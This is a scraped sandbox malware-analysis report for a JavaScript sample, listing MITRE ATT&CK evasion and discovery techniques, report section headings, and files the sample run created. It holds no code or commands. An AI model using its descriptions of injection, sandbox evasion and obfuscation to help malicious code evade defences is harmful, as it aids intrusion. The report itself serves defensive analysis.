Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1972511502582515381.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f099b99e-a5c5-4c36-b471-93bbbb5b13a1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.320

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
1972511502582515381.js